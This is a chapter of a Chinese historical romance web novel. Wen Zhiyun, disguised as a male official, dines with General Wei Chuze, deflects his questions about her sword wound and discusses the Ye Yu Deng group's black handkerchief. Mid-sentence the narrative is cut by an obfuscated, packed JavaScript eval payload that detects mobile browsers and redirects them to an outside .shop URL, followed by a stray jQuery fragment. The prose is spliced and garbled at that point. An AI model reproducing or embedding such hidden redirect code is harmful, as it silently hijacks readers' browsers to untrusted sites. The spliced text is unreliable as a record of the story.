文知蕴刚醒来脑子还没恢复清醒,反应了半天才喃喃道:“应该就是将军府。”
她在离京之前,刚刚高中了状元,还没来得及置办宅院,再说她的人设是穷酸状元,原则上她也没有钱买宅院。
她受了伤,卫楚泽自是不能将她丢回客栈,况且当时卫楚泽还未醒来,声东更是不敢。
于是她出现在将军府是件再正常不过的事情。
“卫将军呢?”文知蕴问道。
“卫将军中毒之后一直昏迷不醒……”
“我去看看。”
“他现在已经没事了……”清梧余下的话还未说完,文知蕴便掀开被子,下了床,冲了出去。
“哎,不好意思。”
文知蕴刚走到门口,便与一人迎面相撞,她连忙道歉,看都没看继续往前走。
忽然一道有力的手将她一把拉住,而后便听到一个熟悉的声音在耳边响起:“温大人,这么着急是要去哪里?”
“啊?哦……”认出卫楚泽的声音,文知蕴停下了脚步,环视了他一圈,发现他平安无事,心底的一块石头落了下来。
“温大人,这是要急着去哪?”卫楚泽重复了一遍方才那个问题。
文知蕴脑子反应过来,但是她不能回答自己是急着去看他的吧。
“我尿急……”眼珠一转,文知蕴想出了这个借口,而后便向前冲去。
听到这个回答之后,卫楚泽并未放手,文知蕴抬头看了他一眼,为何自己会如此担心他。
只见卫楚泽嘴角噙着笑,指了指相反的方向,道:“茅房在那边。”
“哦……”文知蕴霎间脸红,尴尬的朝着茅房的方向走去。
“我还以为是去找卫将军呢。”等到文知蕴跑远,清梧在后面嘟囔了一句,恰好被门口的卫楚泽听到。
他面带笑意,看向站在屋内的清梧。
文知蕴上完茅房回来的时候,看到的便是这样一个画面,卫楚泽坐在屋内仅有的桌子前,一手放在桌子上轻轻敲着,一手托着下颌,面带微笑的盯着她。
“卫将军,您还没走?”文知蕴咧开嘴尴尬的笑了笑。
“这里是将军府,温大人这是想让我走哪去?”卫楚泽的笑容让文知蕴心中发毛,仔细想了想自己是哪里得罪了他,或者是自己哪里出了疏漏。
直到看到站在一旁的清梧朝她疯狂眨眼睛,再想到方才自己的行为,终于知晓了缘由。
她张开嘴准备解释:“我……”
“没想到温大人如此关心我。”
“额嗯……下官这不是怕卫将军受伤了,皇上降罪与我。”文知蕴找了个理由。
“哦?原来是这样嘛,我还以为温大人是担心我呢。”卫楚泽道。
“自然也是关心的,卫将军乃是戍边大将,有了您才有了西南边境的安定,您的性命不止下官忧心,大燕所有百姓都担忧。”文知蕴看着卫楚泽道。
“你说的倒是不错。”卫楚泽站了起来,走到文知蕴面前,看起来心情不错。
看来这马屁拍的让卫楚泽很是受用,文知蕴心中暗暗猜想。
“走吧。”
“去哪?”
“温大人难道不饿吗?”
被卫楚泽这么一提醒,文知蕴的肚子非常配合般的“咕咕”叫了两声,文知蕴立马捂住肚子。
这一动作被卫楚泽看到眼中,哈哈大笑了两声,道:“温大人应该不会说不饿吧。”随后便错开身子,迈着轻快的步子离去,看上去非常高兴。
这一幕恰好被过来喊二人吃饭的梁管家看到,他停下脚步,看着卫楚泽离去的背影,心生欢喜。自从将军与老爷三年前去世,他已经很久没有看到少爷笑的如此开心了。
看来少爷很喜欢这个温执,梁管家心下猜测。
京城不似南方,秋日来临,温度也便降了下来,文知蕴方才跑出去打了个哆嗦,她回房加了件外衣,而后才向着膳厅走去。
文知蕴不是第一次来将军府,却是第一次白日里来,之前夜黑风高,来去匆匆,从未好好观察过将军府。
这一路走来,文知蕴看了个大概,都说武人都没有风雅,不讲情趣,将军府却建造的曲径通幽,颇有雅致。沿着石板路走来,怪石嶙峋,小桥流水,院中一簇菊花开的正盛,恰到好处,让人很难想象到这是将军府。
经过下人的引领,左拐右拐,文知蕴终于到了吃饭的膳厅,一进门便看到一桌子的菜,有荤有素,虽荤少素多,但红绿交错,说明准备的人很用心,而卫楚泽已经坐在了桌前。
看到文知蕴过来,卫楚泽还未开口,梁管家便已经招呼:“温大人,就等您了,您坐在这里。”边说边把文知蕴拉到卫楚泽旁边的位置坐下。
“少爷,您跟温大人都受伤了,所以我让他们做了些清淡的菜。”梁管家在一旁解释道。
“嗯,梁管家,你去忙吧,这里不需要你了。”卫楚泽道。
“好嘞。”说完梁管家便乐呵呵的离去了。
卫楚泽看了看梁管家的背影,而后把目光锁定到文知蕴的身上,疑惑的道:“温大人,你与梁管家说了什么吗?”
“啊?”
“要不然梁管家对你的态度为何会这么好,他一向很严肃的。”卫楚泽道。
“啊?这样嘛。”
卫楚泽只是问出这个问题,却不是非要温执回答,毕竟他自己也觉得温执非常讨喜。
二人开始动筷吃饭,卫楚泽连连夹了几筷子青菜给她,文知蕴不要还不行,不过幸好她除了肥腻之外,并不挑食。
“温大人,我有个问题想问下你。”
文知蕴刚夹起的一筷子米饭在空中顿了一下,而后便听到卫楚泽缓缓开口道:“温大人身上的伤是从何而来的?”
米饭被送入文知蕴的口中,对于这个问题,文知蕴早就猜到卫楚泽会问。
毕竟大家一起晕倒,其他人都没有受伤,当然除了卫楚泽自残,为何就独她一人受了伤,听大夫的诊断,乃是刀伤。
文知蕴将口中的米饭咽下,开口道:“想来是我离庙门最远,当时桂花香飘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125676|148143||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过来的时候我只吸入了一点,因此迷糊中残存着最后一丝的清醒,那个黑衣人拿剑刺向你的时候,我挣扎了一下,随后他们便把目标转向了我,而后我便昏迷了,醒来之后便是如今这副模样了。”
“原来是这样,我还以为温大人知道些什么。”听这语气,卫楚泽差不多是相信了她的说辞。
“下官哪里知道些什么。”
“不过,温大人确实比想象中更加勇猛,这点倒是让我对你刮目相看。”卫楚泽看着文知蕴道。
“哪里哪里,下官远比不上卫将军。”
“本将军岂是你想比就能赶上的。”卫楚泽非常不客气的道。
真是自恋!
这种话文知蕴只敢在心中吐槽,不过他说的的确也是事实,但是自己夸自己,与别人夸自己还是有区别的。
“卫将军,是你们的手下救了我们吗?”文知蕴假装毫不知情。
卫楚泽摇了摇头,若有所思,问道:“温大人可否听说过夜雨灯?”
“夜雨灯?”文知蕴放下手中的筷子,假意思考。
“听说过,但是没见过,只知道她们办事,不看钱给的有多少,而是要看这件事值不值得做,而且据说她们接下来的活,从来没有失手过。”文知蕴道。
“我还以为温大人一心只读圣贤书,两耳不闻窗外事,不知这些事情呢,倒又是我小瞧了温大人。”卫楚泽笑道。
“我也是道听途说的,进京的路上听了不少江湖轶事。”文知蕴解释道。
“据说,夜雨灯每次做完一件事,就会留下一张黑色的手帕,这是真的吗?”文知蕴疑惑的问。
卫楚泽点了点头,从身上掏出一样东西,道:“这次就是凭借这张留下的手帕,知道是夜雨灯救了我们。”
“哇~可以让下官见识一下吗?”文知蕴一脸惊讶。
卫楚泽将手中的手帕递给文知蕴,文知蕴接过手帕,将其展开在桌子上,道:“原来这就是传说中的手帕!”
文知蕴顿了顿,道:“不过,卫将军,这手帕除了是黑色的,有其他特别之处吗?为什么夜雨灯要一条黑色的手帕留作记号呢?”
“给黑夜中的人点燃一盏灯么。”卫楚泽盯着桌子上的手帕道。
“就是这灯绣的太过粗糙。”说完卫楚泽又补充了一句。
这已经很不错啦!竟然如此吐槽!
文知蕴道:“下官倒是觉得这个灯绣的还可以。”
“那温大人肯定没有见过好的,这绣工只能说是下等,等有机会本将军带你见识一下顶好的绣品。”卫楚泽说完便笑了起来。
夜雨灯规定,每个人或绣或画,都有属于自己的手帕,文知蕴自知绣工不好,再加上她不接任务,因此只在空闲之余修了这一条手帕。
这次留了下来,却被卫楚泽吐槽绣工极差,此时心中怒火中烧,表面上却要表现出云淡风轻的样子。
“从安,从安,你没事吧。”
将军府大门突然传来一阵清响的大喊声,同时伴随着急促的脚步声。